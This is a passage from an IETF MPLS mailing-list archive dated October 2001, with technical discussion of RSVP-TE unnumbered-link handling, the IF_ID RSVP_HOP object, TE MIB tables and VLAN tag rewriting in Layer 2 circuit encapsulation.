> IF_ID Hop object to be used on an unnumbered link.  This leads to
> unnecessary cases and extra checking at the incoming interface.
> 
> I suggest the following modifications:
> 
> a) mandate that one always use the IF_ID HOP object on an unnumbered
>    link.
> 
> b) pop the unnumbered interface subobject off of the ERO before
>    forwarding the Path message over the unnumbered link (the
>    information is now in the PHOP
> 
> I've updated the text in sections 6.1 and 6.2 to reflect the changed
> procedures.  If it looks a bit complicated it's only because I was
> explicit about the interactions with the processing rules of [RSVP-TE]
> where the current draft is underspecified.
> 
> Comments?

If we mandate the use of IF_ID HOP for unnumbered, let me also
suggest that we mandate the use of IF_ID HOP for link bundling,
(thus eliminating the Implicit Indication from
draft-ietf-mpls-bundle-00.txt).

Comments ?


> ...George
> 
> ======================================================================
> 
> 6.1. Processing the Unnumbered Interface ID Subobject
> 
>    The Unnumbered Interface ID Subobject is related to the IF_ID
>    RSVP_HOP object as follows.  Under normal (unerrored) processing,
>    an Unnumbered Interface ID Subobject is removed from the ERO by the
>    node who's router ID is contained in the object.  The link
>    specified in that object is communicated to the following node by
>    means of the IF_ID RSVP_HOP object.  The IF_ID RSVP_HOP object in the
>    Path message MUST contain the same Router ID (IP Address) and
>    IF_INDEX as carried in the Unnumbered Interface ID subobject.  
> 
> 6.1.1.  ERO processing
> 
>    The ERO processing rules of [RSVP-TE] apply with the following
>    exceptions.  In step 2 of section 4.3.4.1 if the first object is an
>    Unnumbered Interface ID subobject and the node is also part of the
>    second object abstract node and that node is loose, then a copy of
>    the first object is saved for use in step 5b before it is deleted
>    from the ERO.
> 
>    In step 4, if the first subobject is an Unnumbered Interface ID
>    subobject the determination of topological adjacency is limited to
>    the interface specified in the first object.
> 
>    In step 5, if the first object is loose but the previous object
>    (saved as a result of step 2 above) is an Unnumbered Interface ID
>    object, then the selection of the next hop is determined by the
>    saved object.  
> 
>    In step 5b if the first object is an Unnumbered Interface ID
>    subobject, then the selection of the next hop is determined by the
>    saved object.
> 
> 6.1.2.  Determination of the next hop
> 
>    The next hop is determined as follows.  The
>    Interface ID in the subobject MUST refer to an outgoing interface
>    identifier that this node allocated; if not, the LSR SHOULD return
>    a "Bad EXPLICIT_ROUTE object" error. The next hop is the LSR at the
>    other end of the link that the Interface ID refers to. If this is
>    the LSR itself, the subobject is removed, and the process
>    repeated. If the next hop is some other LSR, then this is the next
>    hop to which a Path message must be sent.
> 
> 6.1.3.  Forwarding the Path message
> 
>    When sending a Path message to the next hop, the IF_ID RSVP_HOP
>    object MUST be used.  This object MUST contain the IF_INDEX TLV,
>    with IP Address in that TLV set to the LSR's Router ID, and
>    Interface ID set to the Interface ID carried which was carried in
>    the Unnumbered Interface subobject.
> 
> 6.2.  Processing the IF_ID RSVP_HOP object
> 
>    When a Path message is received containing the IF_ID RSVP_HOP
>    object with the IF_INDEX TLV, the following processing rules apply.
> 
>    The LSR checks whether the tuple <Router ID, Interface ID> from the
>    Unnumbered Interface subobject matches the tuple <Router ID,
>    Forward Interface ID> of any of the LSPs for which the LSR is a
>    tail-end. If a match is found, the match identifies the Forwarding
>    Adjacency for which the LSR has to perform label allocation.
> 
>    Otherwise, the LSR MUST check whether the tuple <Router ID, Interface
>    ID> from the Unnumbered Interface subobject matches the tuple <Router
>    ID, Reverse Interface ID> of any of the bidirectional LSPs for which
>    the LSR is the head-end. If a match is found, the match identifies
>    the Forwarding Adjacency for which the LSR has to perform label
>    allocation, namely, the reverse Forwarding Adjacency for the LSP
>    identified by the match.
> 
>    Otherwise, the LSR must have information about the identifiers
>    assigned by its neighbors to the unnumbered links (i.e., incoming
>    interface identifiers from LSR's point of view). The LSR uses this
>    information to find a link with tuple <Router ID, incoming interface
>    identifier> matching the tuple <Router ID, Interface ID> from the
>    Unnumbered Interface subobject. If the matching tuple is found, and
>    the link is not a bundled link, the match identifies the link for
>    which the LSR has to perform label allocation. If the matching tuple
>    is found, and the link is a bundled link, the LSR follows the
>    procedures for label allocation as described in [LINK-BUNDLE].
> 
>    Otherwise, the LSR SHOULD return a "Bad initial subobject" error.
> 
> 
> ======================================================================
> George Swallow       Cisco Systems                   (978) 244-8143
>                      250 Apollo Drive
>                      Chelmsford, Ma 01824
> 
> 
> 


From owner-mpls@UU.NET  Tue Oct 23 20:40:25 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA23695
	for <mpls-archive@lists.ietf.org>; Tue, 23 Oct 2001 20:40:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmba08352;
	Wed, 24 Oct 2001 00:39:22 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmba17137
	for mpls-outgoing; Wed, 24 Oct 2001 00:38:46 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmba17132
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 00:38:43 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmba15279
	for <mpls@uu.net>; Wed, 24 Oct 2001 00:38:28 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQlmba07301
	for <mpls@uu.net>; Wed, 24 Oct 2001 00:38:46 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id UAA23441
	for <mpls@uu.net>; Tue, 23 Oct 2001 20:38:25 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id UAA23500
	for <mpls@uu.net>; Tue, 23 Oct 2001 20:38:27 -0400 (EDT)
Message-ID: <3BD60D94.9B7E9765@marconi.com>
Date: Tue, 23 Oct 2001 20:38:44 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Questions on unnumbered links
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

I'm trying to make sense of draft-ietf-mpls-rsvp-unnum-02, and have
several questions.

1: We need to see the BNF for modified Path/Resv messages that include
   the new objects.  More specifically, when a LSP_TUNNEL_INTERFACE_ID
   object is included in a Resv message, should it be part of the
   flow descriptor or should it be part of the main body of the
   message.  IMO, it belongs in the flow descriptor, since a single
   Resv can be sent for multiple LSPs, and each one will require a
   separate LSP_TUNNEL_INTERNFACE_ID.

2: There is mention of an IF_ID RSVP_HOP object.  Where is this
   defined?  I don't see any reference to another draft, and it's
   certainly not defined locally.  If this is a GMPLS-specific object,
   then it obviously should not be used in an MPLS environment.

3: If the IF_ID RSVP_HOP object is what I think it is (a new C-Type
   for specifying an unnumbered link in the HOP object), why is it
   necessary?  The existing HOP object already has a field for LIH,
   which appears to have the same functionality as the interface ID
   field in the new ERO/RRO subobjects.

4: Is there any way for an ingress router to compute an ERO with
   unnumbered links in it if GMPLS is not implemented?  It appears
   that support for unnumbered links was deleted from the TE versions
   of OSPF and ISIS, and moved into the GMPLS versions of those
   protocols, making the necessary information for ERO computation
   unavailable in an MPLS environment.

-- David


From owner-mpls@UU.NET  Wed Oct 24 00:36:58 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA00641
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 00:36:58 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmbq24534;
	Wed, 24 Oct 2001 04:35:47 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmbq23078
	for mpls-outgoing; Wed, 24 Oct 2001 04:35:07 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlmbq23073
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 04:35:00 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmbq00965
	for <mpls@uu.net>; Wed, 24 Oct 2001 04:34:06 GMT
Received: from huaweimail.in.huawei.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.168.164])
	id QQlmbq26932
	for <mpls@uu.net>; Wed, 24 Oct 2001 04:34:21 GMT
Received: by HUAWEIMAIL with Internet Mail Service (5.5.2653.19)
	id <48ZLJBWX>; Wed, 24 Oct 2001 09:59:42 +0530
Message-ID: <751B6DD7A243D511AB9F0002557C5687014BE35A@HUAWEIMAIL>
From: "Ashwin C. Prabhu" <Ashwinp@in.huawei.com>
To: Cheenu Srinivasan <cheenu@alphion.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: Doubt in draft-ietf-mpls-te-mib-07.txt 
Date: Wed, 24 Oct 2001 09:59:41 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C15C44.7F99C540"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C15C44.7F99C540
Content-Type: text/plain;
	charset="iso-8859-1"



Hello 

     Thanks for the reply. 
     If i add this table entry then what about the OID for this entry ? 
     Can i assign that OID myself ? If that is the case then how does the 
     NM know about it ? or is it that i have to change the NM according to 
     my need. If i have to change it, then won't it be something like
private 
     NM and a private MIB insted of saying it as standard ? 

Ashwin

-----Original Message-----
From: Cheenu Srinivasan [mailto:cheenu@alphion.com]
Sent: Tuesday, October 23, 2001 11:51 PM
To: 'Ashwin C. Prabhu'
Cc: 'mpls@uu.net'
Subject: RE: Doubt in draft-ietf-mpls-te-mib-07.txt 


> shouldn't there be mplsTunnelInstanceNext ?

This is tricky to add since we cannot have just a single index-next
object but a mechanism to return the next instance index for a given
mplsTunnelIndex. This is like a (read-only) table indexed by 
mplsTunnelIndex.

For example:

mplsTunnelInstanceNextTable ... SEQUENCE OF MplsTunnelInstanceNextEntry

mplsTunnelInstanceNextEntry ... MplsTunnelInstanceEntry
...
INDEX { mplsTunnelIndex }

MplsTunnelInstanceNextEntry ::= SEQUENCE {
  mplsTunnelInstanceNextIndex INTEGER
}

------_=_NextPart_001_01C15C44.7F99C540
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>RE: Doubt in draft-ietf-mpls-te-mib-07.txt </TITLE>
</HEAD>
<BODY>
<BR>
<BR>

<P><FONT SIZE=2>Hello </FONT>
</P>

<P><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp; Thanks for the reply. </FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp; If i add this table entry then what about the OID for this entry ? </FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp; Can i assign that OID myself ? If that is the case then how does the </FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp; NM know about it ? or is it that i have to change the NM according to </FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp; my need. If i have to change it, then won't it be something like private </FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp; NM and a private MIB insted of saying it as standard ? </FONT>
</P>

<P><FONT SIZE=2>Ashwin</FONT>
</P>

<P><FONT SIZE=2>-----Original Message-----</FONT>
<BR><FONT SIZE=2>From: Cheenu Srinivasan [<A HREF="mailto:cheenu@alphion.com">mailto:cheenu@alphion.com</A>]</FONT>
<BR><FONT SIZE=2>Sent: Tuesday, October 23, 2001 11:51 PM</FONT>
<BR><FONT SIZE=2>To: 'Ashwin C. Prabhu'</FONT>
<BR><FONT SIZE=2>Cc: 'mpls@uu.net'</FONT>
<BR><FONT SIZE=2>Subject: RE: Doubt in draft-ietf-mpls-te-mib-07.txt </FONT>
</P>
<BR>

<P><FONT SIZE=2>&gt; shouldn't there be mplsTunnelInstanceNext ?</FONT>
</P>

<P><FONT SIZE=2>This is tricky to add since we cannot have just a single index-next</FONT>
<BR><FONT SIZE=2>object but a mechanism to return the next instance index for a given</FONT>
<BR><FONT SIZE=2>mplsTunnelIndex. This is like a (read-only) table indexed by </FONT>
<BR><FONT SIZE=2>mplsTunnelIndex.</FONT>
</P>

<P><FONT SIZE=2>For example:</FONT>
</P>

<P><FONT SIZE=2>mplsTunnelInstanceNextTable ... SEQUENCE OF MplsTunnelInstanceNextEntry</FONT>
</P>

<P><FONT SIZE=2>mplsTunnelInstanceNextEntry ... MplsTunnelInstanceEntry</FONT>
<BR><FONT SIZE=2>...</FONT>
<BR><FONT SIZE=2>INDEX { mplsTunnelIndex }</FONT>
</P>

<P><FONT SIZE=2>MplsTunnelInstanceNextEntry ::= SEQUENCE {</FONT>
<BR><FONT SIZE=2>&nbsp; mplsTunnelInstanceNextIndex INTEGER</FONT>
<BR><FONT SIZE=2>}</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C15C44.7F99C540--


From owner-mpls@UU.NET  Wed Oct 24 03:13:07 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA17956
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 03:13:06 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmca24574;
	Wed, 24 Oct 2001 07:11:12 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmca03653
	for mpls-outgoing; Wed, 24 Oct 2001 07:10:48 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmca03632
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 07:10:38 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlmca26532
	for <mpls@uu.net>; Wed, 24 Oct 2001 07:10:19 GMT
Received: from MAILGW by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [194.90.137.3])
	id QQlmca26308
	for <mpls@uu.net>; Wed, 24 Oct 2001 07:10:37 GMT
Received: from apollo.nbase.co.il ([194.90.137.2])
          by MAILGW (MailGuardian SMTP Relay 1.2.1) with SMTP ID Mail1003914538061--38;
          Wed, 24 Oct 2001 11:08:58 +0200
Received: from nbase.co.il ([194.90.139.21]) by apollo.nbase.co.il
          (Post.Office MTA v3.1.2 release (PO205-101c)
          ID# 0-44418U200L2S100) with ESMTP id AAA438;
          Wed, 24 Oct 2001 09:10:47 +0200
Message-ID: <3BD66B43.5030001@nbase.co.il>
Date: Wed, 24 Oct 2001 09:18:27 +0200
From: eran@nbase.co.il (Eran Man)
Reply-To: emann@opticalaccess.com
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1
X-Accept-Language: en
MIME-Version: 1.0
To: mwu@cisco.com
CC: Anoop Ghanwani <anoop@lanterncom.com>, Amir Shatil <shatil@cwnt.com>,
        mpls@UU.NET, ppvpn@zephion.net
Subject: Re: ppvpn some VLAN clarifications
References: <IDEOKDKAJNIPNGPGJMCOCEBIDOAA.mwu@cisco.com>
Content-Type: text/plain; charset=windows-1255; format=flowed
Content-Transfer-Encoding: 8bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit



Michael Wu wrote:

>     -----Original Message-----
>     From: Anoop Ghanwani [mailto:anoop@lanterncom.com]
>     Sent: Tuesday, October 23, 2001 11:07 AM
>         -----Original Message-----
>         From: Michael Wu [mailto:mwu@cisco.com]
>         Sent: Tuesday, October 23, 2001 9:01 AM
>             -----Original Message-----
>             From: owner-ppvpn@cthulu.dc1.dca57.zephion.net
>             [mailto:owner-ppvpn@cthulu.dc1.dca57.zephion.net]On Behalf
>             Of Amir Shatil


> few Questions about draft-martini-l2circuit-encap-mpls-03.txt: 
> 
> 1. In section 4.3 it is stated (about the VLAN tag) “…and MAY be overwritten by the egress router.”
> 
> What are the cases in which this might happen? 
> 
>>> So the SP doesn't need to have same vlan id at both ends. But this will prevent STP working
> 
>    correctly unless the PE can modify the STP message accordingly. 
>  
> [Anoop Ghanwani]  STP doesn't use the VLAN ID.  In 802.1Q, all VLANs use the same spanning
> 
> tree.  Besides I don't think the draft is trying to support bridging.  It just provides point-to-point Ethernet link. 
> 
> Ooops. Anoop you are right. The STP is not a good example. I should have said any
> 
> application the carried vlan id similar to NAT...
> 

Actually 802.1s extends 802.1d to support spanning tree per VLAN, and 
many vendors do implement this, so this would of course be broken if 
you change the 802.1q tag on the tunnel egress.
-- 
Eran Mann			emann@opticalaccess.com
Software Engineer		Tel: +972-4-9936200
Optical Access			Fax: +972-4-9890564
www.opticalaccess.com



From owner-mpls@UU.NET  Wed Oct 24 06:20:16 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA20253
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 06:20:16 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmcn03586;
	Wed, 24 Oct 2001 10:19:04 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmcn16319
	for mpls-outgoing; Wed, 24 Oct 2001 10:18:31 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlmcn16312
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 10:18:21 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlmcn10334
	for <mpls@UU.NET>; Wed, 24 Oct 2001 10:17:02 GMT
Received: from huaweimail.in.huawei.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.168.164])
	id QQlmcn21477
	for <mpls@UU.NET>; Wed, 24 Oct 2001 10:17:18 GMT
Received: by HUAWEIMAIL with Internet Mail Service (5.5.2653.19)
	id <48ZLJ8Y3>; Wed, 24 Oct 2001 15:43:20 +0530
Message-ID: <751B6DD7A243D511AB9F0002557C56870154531F@HUAWEIMAIL>
From: "Ashwin C. Prabhu" <Ashwinp@in.huawei.com>
To: mpls-ops@mplsrc.com, "'mpls@uu.net'" <mpls@UU.NET>
Cc: cheenu@alphion.com, tnadeau@cisco.com, arun@force10networks.com
Subject: Why do we need CR-LDP Tunnel Resource Table in TE MIB 7?
Date: Wed, 24 Oct 2001 15:43:19 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C15C74.812F3180"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C15C74.812F3180
Content-Type: text/plain;
	charset="iso-8859-1"

 
Hello All
 
 Why the CR-LDP Tunnel Resource Table is added in the
draft-ietf-mpls-te-mib-07.txt. 
 There is also a mplsTunnelResourceTable which has all the parameters 
 of the mplsTunnelCRLDPResTable. 
 
 And the note specifically says that this is in addition to the Tunnel
Resource Table . 
 
The mplsTunnelCRLDPResTable allows a manager to
          specify which CR-LDP-specific resources are desired
          for an MPLS tunnel if that tunnel is signaled using
          CR-LDP. Note that these attributes are in addition
          to those specified in mplsTunnelResourceTable. This
          table also allows several tunnels to point to a
          single entry in this table, implying that these
          tunnels should share resources.
 
And the parameters of the table are same expect the mplsTunnelCRLDPResFlags.
Can you please tell me what is the differance between these 2 tables and why
is this 
needed ?
 
 
Ashwin
 
 
 
 

------_=_NextPart_001_01C15C74.812F3180
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<TITLE>RE: Doubt in draft-ietf-mpls-te-mib-07.txt</TITLE>

<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR></HEAD>
<BODY>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D607103022-24102001>Hello=20
All</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D607103022-24102001>&nbsp;Why the CR-LDP Tunnel Resource Table =
is added in=20
the  draft-ietf-mpls-te-mib-07.txt. </SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D607103022-24102001>&nbsp;There is also a =
mplsTunnelResourceTable which has=20
all the parameters </SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D607103022-24102001>&nbsp;of the mplsTunnelCRLDPResTable.=20
</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D607103022-24102001>&nbsp;And the note specifically says that =
this is in=20
addition to the Tunnel Resource Table . </SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#ff00ff face=3DArial size=3D2><SPAN=20
class=3D607103022-24102001><STRONG>The mplsTunnelCRLDPResTable allows a =
manager=20
to<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; specify =
which=20
CR-LDP-specific resources are=20
desired<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for =
an MPLS=20
tunnel if that tunnel is signaled=20
using<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CR-LDP. =
<FONT=20
color=3D#0000ff>Note that these attributes are in=20
addition<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to =
those=20
specified in mplsTunnelResourceTable.=20
</FONT>This<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
table also=20
allows several tunnels to point to=20
a<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; single =
entry in this=20
table, implying that=20
these<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tunnels =
should=20
share resources.</STRONG></SPAN></FONT></DIV>
<DIV><FONT color=3D#ff00ff face=3DArial size=3D2><SPAN=20
class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D607103022-24102001>And=20
the parameters of the table are same expect the <SPAN=20
style=3D"FONT-FAMILY: 'Times New Roman'; FONT-SIZE: 12pt; =
mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; =
mso-fareast-language: EN-US; mso-bidi-language: =
AR-SA">mplsTunnelCRLDPResFlags.</SPAN></SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D607103022-24102001>Can=20
you please tell me what is the differance between these 2 tables and =
why is this=20
</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D607103022-24102001>needed=20
?</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D607103022-24102001>Ashwin</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#ff00ff face=3DArial size=3D2><SPAN=20
class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#ff00ff face=3DArial size=3D2><SPAN=20
class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#ff00ff face=3DArial size=3D2><SPAN=20
class=3D607103022-24102001></SPAN></FONT>&nbsp;</DIV></BODY></HTML>

------_=_NextPart_001_01C15C74.812F3180--


From owner-mpls@UU.NET  Wed Oct 24 09:44:13 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA28724
	for <mpls-archive@lists.ietf.org>; Wed, 24 Oct 2001 09:44:13 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlmda05731;
	Wed, 24 Oct 2001 13:41:45 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlmda29787
	for mpls-outgoing; Wed, 24 Oct 2001 13:41:11 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlmda29723
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 24 Oct 2001 13:40:59 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlmda15416
	for <mpls@uu.net>; Wed, 24 Oct 2001 13:40:52 GMT
Received: from merlot.juniper.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint.juniper.net [207.17.136.129])
	id QQlmda07908
	for <mpls@uu.net>; Wed, 24 Oct 2001 13:40:42 GMT
Received: from juniper.net (garnet.juniper.net [172.17.28.17])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id f9ODeo054781;
	Wed, 24 Oct 2001 06:40:50 -0700 (PDT)
	(envelope-from yakov@juniper.net)
Message-Id: <200110241340.f9ODeo054781@merlot.juniper.net>
To: David Charlap <David.Charlap@marconi.com>
cc: mpls@UU.NET
Subject: Re: Questions on unnumbered links 
In-Reply-To: Your message of "Tue, 23 Oct 2001 20:38:44 EDT."
             <3BD60D94.9B7E9765@marconi.com> 
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <832.1003930850.1@juniper.net>
Date: Wed, 24 Oct 2001 06:40:50 -0700
From: Yakov Rekhter <yakov@juniper.net>
Sender: owner-mpls@UU.NET
Precedence: bulk

David,

> I'm trying to make sense of draft-ietf-mpls-rsvp-unnum-02, and have
> several questions.
> 
> 1: We need to see the BNF for modified Path/Resv messages that include
>    the new objects.  More specifically, when a LSP_TUNNEL_INTERFACE_ID
>    object is included in a Resv message, should it be part of the
>    flow descriptor or should it be part of the main body of the
>    message.  IMO, it belongs in the flow descriptor, since a single
>    Resv can be sent for multiple LSPs, and each one will require a
>    separate LSP_TUNNEL_INTERNFACE_ID.

Unless there are any objections from the other folks on the list
I'll add some text as you suggested above to the next version
of the draft.

> 2: There is mention of an IF_ID RSVP_HOP object.  Where is this
>    defined?  I don't see any reference to another draft, and it's
>    certainly not defined locally.  If this is a GMPLS-specific object,
>    then it obviously should not be used in an MPLS environment.

It is defined in GMPLS RSVP Signaling. I am going to add a reference
to that draft in the next revision of draft-ietf-mpls-rsvp-unnum.

